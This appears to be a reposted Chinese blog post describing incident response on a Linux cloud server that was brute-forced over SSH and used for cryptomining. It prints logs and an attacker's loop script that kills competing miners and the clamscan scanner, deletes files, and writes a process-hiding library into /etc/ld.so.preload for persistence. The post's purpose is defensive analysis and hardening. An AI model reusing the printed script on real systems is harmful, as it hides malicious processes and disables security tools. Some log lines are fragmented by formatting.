下文中的，给文件和目录加锁，是指给文件和目录增加了一些属性，只读等。 chattr +ia
目录
  • 一、服务器入侵现象
  • 二、服务器排查和处理
    • 2.1、服务器被入侵的可能原因
    • 2.2、排查和处理步骤
  • 三、本次入侵需要带来启示的点
  • 四、本次服务器被入侵的一些启示

一、服务器入侵现象

近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵，具体现象是： 服务器 CPU 资源长期 100%，负载较高。 服务器上面的服务不能正常提供服务。
朋友处理了一会没有解决，我开始想说我不是搞安全的，我怎么会，但朋友开出了天价，一顿海底捞，我在生活和现实面前低头了。 开始上手看看了。

二、服务器排查和处理

2.1、服务器被入侵的可能原因

  1. 服务器 ssh 密码 设置得很简单。
  2. 腾讯云安全组范围放得很大。
  3. 使用了宝塔，宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。

2.2、排查和处理步骤

  1. ps -ef / top 找出占用进程最大的服务
    问题现象
    ps/top 命令 已经被替换了。
  2. 查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure。
    问题现象
    [root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure

    Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2

    Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2

    Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2

    Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8

    Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8

    Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2

    Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8

    Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

    lighthouse 腾讯云轻量服务器
    我们在这里就可以看到，有一些境外IP 34.215.138.2成功登录了，这些 IP不是我们的正常登录。 在 /var/log/secure 日志里，我看到了 IP 34.215.138.2 尝试登录不到500次 就已经破解成功了。
    处理措施
    这里我们立马采取了第一个措施，
    1. 在腾讯云安全组限制了 SSH 的登录IP， 之前的安全组 SSH 是放行所有IP。
    2. 将 SSH ROOT 密码修改。
    3. /root/.ssh/authorized_keys 备份，并清空。
      [root@VM-12-12-centos ~]
      # cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak
      cp
      : cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

      这时我们就遇到了权限的问题，这个晚点展开讲，因为我们已经限制了源IP， 所以这个我们可以晚点来处理。
  3. 查看最近新增的一些用户
    问题现象
    cat /etc/passwd
    处理措施
    锁定用户
    [
    root@VM-12-12-centos ~
    ]
    # usermod -L sys1
  4. 我这里不计划去找进程（已经在新建一台版本一致的系统， 来拷贝 top 和 ps 命令，需要一小会，我们趁这个时间，先看看其他），因为之前朋友重启过服务器，发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。
    问题现象
    定时任务
    crond 读取配置文件会从以下几个路径读取：
    /var/spool/cron/ 未找到(后面会说到这里有障眼法)
    /etc/crontab 未找到(后面会说到这里有障眼法)
    但是我在 /var/log/cron 一直看到有任务执行。每间隔5分钟。
    Aug2722
    :
    00
    :
    01VM
    -
    12
    -
    12
    -centos
    CROND
    [
    16839
    ]: (root)
    CMD
    (
    /sbin/
    httpss >
    /dev/null2
    >&
    1
    ;^M )

    Aug2722
    :
    00
    :
    01VM
    -
    12
    -
    12
    -centos
    CROND
    [
    16840
    ]: (root)
    CMD
    (
    /usr/
    local/qcloud/
    YunJing
    /
    YDCrontab
    .sh >
    /dev/null2
    >&
    1
    )

    Aug2722
    :
    00
    :
    01VM
    -
    12
    -
    12
    -centos
    CROND
    [
    16842
    ]: (root)
    CMD
    (
    /usr/
    lib/mysql/mysql;^
    Mno
    crontab
    for
    root )


    Aug2722
    :
    05
    :
    01VM
    -
    12
    -
    12
    -centos
    CROND
    [
    17486
    ]: (root)
    CMD
    (
    /usr/
    lib/mysql/mysql;^
    Mno
    crontab
    for
    root )

    Aug2722
    :
    05
    :
    01VM
    -
    12
    -
    12
    -centos
    CROND
    [
    17487
    ]: (root)
    CMD
    (
    /sbin/
    httpss >
    /dev/null2
    >&
    1
    ;^M )

    处理措施
    这里我们先做的操作就是，先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了，所以我开始解锁，我们发现 chattr 也被替换和锁住了。 所以不能操作下去了。
    开机启动脚本
    /etc/rc.local， 我们也发现了一个脚本。
    [root@VM-12-12-centos ~]
    # cat /etc/rc.local
    #!/bin/bash
    # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
    #
    # It is highly advisable to create own systemd services or udev rules
    # to run scripts during boot instead of using this file.
    #
    # In contrast to previous versions due to parallel execution during boot
    # this script will NOT be run after all other services.
    #
    # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
    # that this script will be executed during boot.

    /usr/bin/0f4f80f9ab start

    但是这个文件好像不存在的，我们就把这个给注释了。
    • /var/spool/cron/ , 由crontab -e 进行写入，配置文件无需指定用户
    • /etc/crontab ，只能root 进行编辑，配置文件需指定用户
    • /etc/cron.d/ ,在此文件夹下创建定时任务文件，配置文件需指定用户
    • /etc/cron.*
  5. 还原更改了 top、ps、chattr、lsattr.
    部分截图
    • 首先我们从相同版本的机器拷贝了 chattr、lsattr， 我们得先操作这个， 因为我们的 top 和 ps 都被锁住了。
    • 我将文件上传至 /tmp 目录，然后增加可执行权限，然后先给 /usr/bin/chattr 解除锁定。
      /tmp/chattr -ai /usr/bin/chattr

    • 执行完之后，发现还是不能替换 /usr/bin/chattr。 最后耗费了一段时间才反应到，入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/。
    • 解锁目录
      /tmp/chattr -ai /usr/bin/

    • 这下才能把 /usr/bin/chattr 给替换掉。
    • 接下来参考这些，我们把 top 和 ps 、lsattr 给还原了。

三、本次入侵需要带来启示的点

  1. ps 、top 、chattr 、lsattr
    在这些命令被替换了，并且我们想还原又还原不了的场景，我们可以拷贝同版本的机器相同的命令放在其它目录，用这些命令来解除入侵者将它已经替换并锁定了文件。 注意有些入侵者不仅会在文件层面加锁，还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。
  2. 文件内容隐藏
    上文中，我执行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。发现文件没有内容。
    其实不知道使用了什么特殊字符还是什么隐藏了， 其实是存在定时任务的。
    示例：
这个配置是如何导致 cat/more 看不了的, 今天再次看了下，这个文件可能是被当成了数据文件，因为我把这个文件 file 查看了之后，文件属性是data. 然后文件包含的特殊字符。导致隐藏了，我在这里 服务器入侵之找出隐藏字符的原理 把这个来龙去脉给讲清楚了。
  1. 其中一个脚本。
    [root@VM-12-12-centos etc]
    # cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
    #!/bin/sh
    whiletest
    1 = 1

    do
    sleep
    30

    pkill -f main

    killall main

    killall sprshduerjsaia

    pkill -f sprshduerjsaia

    killall dr64

    pkill -f dr64

    killall .report_system

    pkill -f .report_system

    killall sshc

    pkill -f sshc

    pkill -f memory

    killall memory

    killall warmup

    killall koko

    killall kthreaddk

    killall systemc

    killall cront

    killall xm64_linux

    killall /var/tmp/j/./intelshell

    pkill -f dos32

    pkill -f dos64

    pkill -f .name

    pkill -f /usr/sbin/dbus

    pkill -f systemd-boot-check-no-failures

    killall .report_system

    pkill -f .report_system

    pkill -f keep-alive

    pkill -f linu

    pkill -f zapppp

    killall [scan]

    killall [ext4]

    pkill -f xm64_linux

    pkill -f ddrirc

    killall ./-bash

    pkill -f ./-bash

    killall kworkers

    killall dbus

    pkill -f biden1

    pkill -f cpuminer-sse2

    killall work64

    pkill -f work64

    killall work32

    pkill -f work32

    killall aarch12

    pkill -f aarch12

    killall bash1

    pkill -f bash1

    killall intelshell

    pkill -f intelshell

    killall heaven

    pkill -f heaven

    killall .syst3md

    pkill -f .syst3md

    pkill -f apachelogs

    killall .meinkampf

    pkill -f .meinkampf

    killall xri

    pkill -f xri

    killall koko

    pkill -f koko

    killall work32-deamon

    pkill -f work32-deamon

    killall work64 -deamon

    pkill -f work64 -deamon

    killall secure.sh

    pkill -f secure.sh

    kkillall auth.sh

    pkill -f auth.sh

    killall autoupdate

    pkill -f kworkers

    pkill -f autoupdate

    killall ld-linux

    pkill -f ld-linux

    pkill -9 Donald

    killall -9 Donald

    pkill -f /usr/local/bin/pnscan

    pkill -f /usr/bin/biden1

    killall /usr/bin/biden1

    killall r

    killall trace

    pkill -f minerd

    killall minerd

    pkill -f xm64

    killall xm64

    pkill -f sysdm

    killall sysdm

    pkill -f syst3md

    killall syst3md

    pkill -f xrig

    killall xrig

    pkill -f busybox

    killall busybox

    pkill -f joseph

    killall joseph

    pkill -f osama

    killall osama

    killall daemon

    pkill -f obama1

    killall obama1

    pkill -f kswapd0

    killall kswapd0

    pkill -f jehgms

    killall jehgms

    pkill -f tsm

    killall tsm

    pkill -f rig

    killall rig

    pkill -f xmr

    killall xmr

    pkill -f playstation

    killall playstation

    pkill -f ld-linux-x86-64

    killall ld-linux-x86-64

    pkill -f ruckusapd

    killall ruckusapd

    pkill -f run64

    killall run64

    pkill -f pwnrig

    killall pwnrig

    pkill -f phpupdate

    killall phpupdate

    pkill -f sysupdate

    killall sysupdate

    pkill -f phpguard

    killall phpguard

    pkill -f firstpress

    killall firstpress

    pkill -f zerocert

    killall zerocert

    pkill -f masscan

    killall masscan

    pkill -f -bash

    pkill -f spreadQlmnop

    killall spreadQlmnop

    killall -bash

    pkill -f cnrig

    killall cnrig

    pkill -f netvhost

    killall netvhost

    pkill -f kthreadds

    killall kthreadds

    pkill -f kthreadd

    killall kthreadd

    pkill -f kdevtmpfsi

    killall kdevtmpfsi

    pkill -f linuxservice

    killall linuxservice

    pkill -f rtmonitor

    killall rtmonitor

    pkill -f dev

    killall dev

    pkill -f xmrig

    killall xmrig

    pkill -f master

    killall master

    killall sysmd

    pkill -f sysmd

    pkill -f sendmail

    killall sendmail

    pkill -f ld-musl-x86_64.

    killall ld-musl-x86_64.

    killall watchdog

    pkill -f watchdog

    pkill -f 32678

    killall 32678

    killall dhpcd

    pkill -f dhpcd

    killall linux_amd64

    pkill -f linux_amd64

    killall xredis

    pkill -f xredis

    killall Linux2.6

    killall .chornyd

    pkill -f .chornyd

    killall Opera

    pkill -f Opera

    killall libertyd

    pkill -f libertyd

    killall rcubind

    pkill -f rcubind

    killall clamscan

    pkill -f clamscan

    killall pnscan

    pkill -f pnscan

    killall zzh

    pkill -f zzh

    killall bioser

    pkill -f bioser

    rm
    -rf /root/.configrc/

    rm
    -rf /tmp/.X26-unix/

    rm
    -rf /tmp/.bash/

    rm
    -rf /root/.bash/

    rm
    -rf /root/.cache/

    rm
    -rf /tmp/.cache/

    rm
    -rf /dev/shm/.ssh/

    rm
    -rf /etc/.etcservice/linuxservice

    rm
    -rf /etc/.vhost/netvhost

    rm
    -rf /tmp/up.txt

    rm
    -rf /var/tmp/.update/

    rm
    -rf /var/tmp/.systemd/

    rm
    -rf /usr/sbin/.bash./.bash/

    rm
    -rf /etc/master

    rm
    -rf /usr/bin/busybox

    rm
    -rf /bin/sysmd

    rm
    -rf /tmp/.mx/

    rm
    -rf /dev/shm/.mx/

    rm
    -rf /usr/bin/xrig

    rm
    -rf /etc/32678

    rm
    -rf /root/c3pool/

    rm
    -rf /usr/bin/.sshd/

    rm
    -rf /tmp/div

    systemctl stop c3pool_miner.service

    systemctl stop pwnriglhttps.service

    systemctl stop cryto

    systemctl stop scan

    systemctl stop bot

    systemctl stop myservice.service

    systemctl stop netns.service

    systemctl stop cryptsetup.service

    echo
    /usr/local/lib/libprocesshider.so > /etc/ld.so.preload

    lockr +ai /etc/ld.so.preload >/dev/null 2>&1

    chmod
    777 /usr/lib/mysql/*

    /usr/lib/mysql/./mysql

    done
    我们可以看到这个脚本其实一直在 更改 /etc/ld.so.preload 的内容。 并且在关闭一些扫描软件和系统的服务。
    在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载，它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。
    ——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》
    我已经删除了 /usr/local/lib/libprocesshider.so 文件，之后每次执行命令会有这个报错。
    我在清空文件 /etc/ld.so.preload 之后，我发现好了一会后，还是出现这个，我再看 /etc/ld.so.preload 文件，里面又写了 /usr/local/lib/libprocesshider.so ，我怀疑还有定时任务，但是我找了一会定时任务，还是没有找到。 后面在查看异常进程的时候，我看到了这个进程
    发现这个脚本的就是一直在循环执行上面内容。 将这个进程 kill 后，然后删除脚本。

四、本次服务器被入侵的一些启示

  1. 用好云厂家的安全组。对一些关键端口，放行规则尽量最小/
  2. 服务器相关的一些密码尽量增加复杂性。
  3. 增加对一些关键文件的监控. (通过监控软件监控 md5值)
    • /etc/passwd
    • /etc/shadow
    • /etc/group
    • /root/.bash_history
    • /root/.ssh/authorized_keys
    • /etc/ssh/sshd_config
    • /etc/profile
    • /var/spool/cron/root
    • /etc/crontab
    • /etc/ld.so.preload
    • /etc/rc.local
    • lsof
    • ps
    • netstat
    • top
    • ls
    • pstree
    • last
    • history
    • sudo
    • password
    • chattr
    • lsattr
  4. 服务器入侵之后，我们需要怎么处理才是最好的。
    https://cloud.tencent.com/document/product/296/9604
    https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST
    1. 服务器如果有开放SSH 远程登录，可以设置限制登录(安全组、或者服务)，只放行自己的IP. 查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure
      /root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下。将一些新建的用户锁定。
    2. 服务器如果可以关闭外网，就关闭外网。 在安全组层面设置下，或者路由或者NAT。
    3. 首先看下 ps/top 命令有没有被篡改， 如果有的话， 从其他正常的机器上拷贝至服务器上。 然后执行查看异常进程。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话，记得清空里面的内容，然后将对应的文件删除或者重命名。
      如果使用过程中遇到了文件不可删，不可改的问题，需要使用 chattr -ia 文件名 如果 chattr 也被串改，那就需要从别的机器拷贝。然后复原。
    4. 如果上述没有找到，可以通过 netstat 间接查看异常的连接从而查询异常进程。
    5. 检查开机启动 和 crontab 相关的内容 。
    6. 检查异常进程。
以上就是这次入侵的处理过程和得到的一些小启示
链接：https://www.cnblogs.com/operationhome/p/16637763.html
（版权归原作者所有，侵删）
继续阅读
阅读原文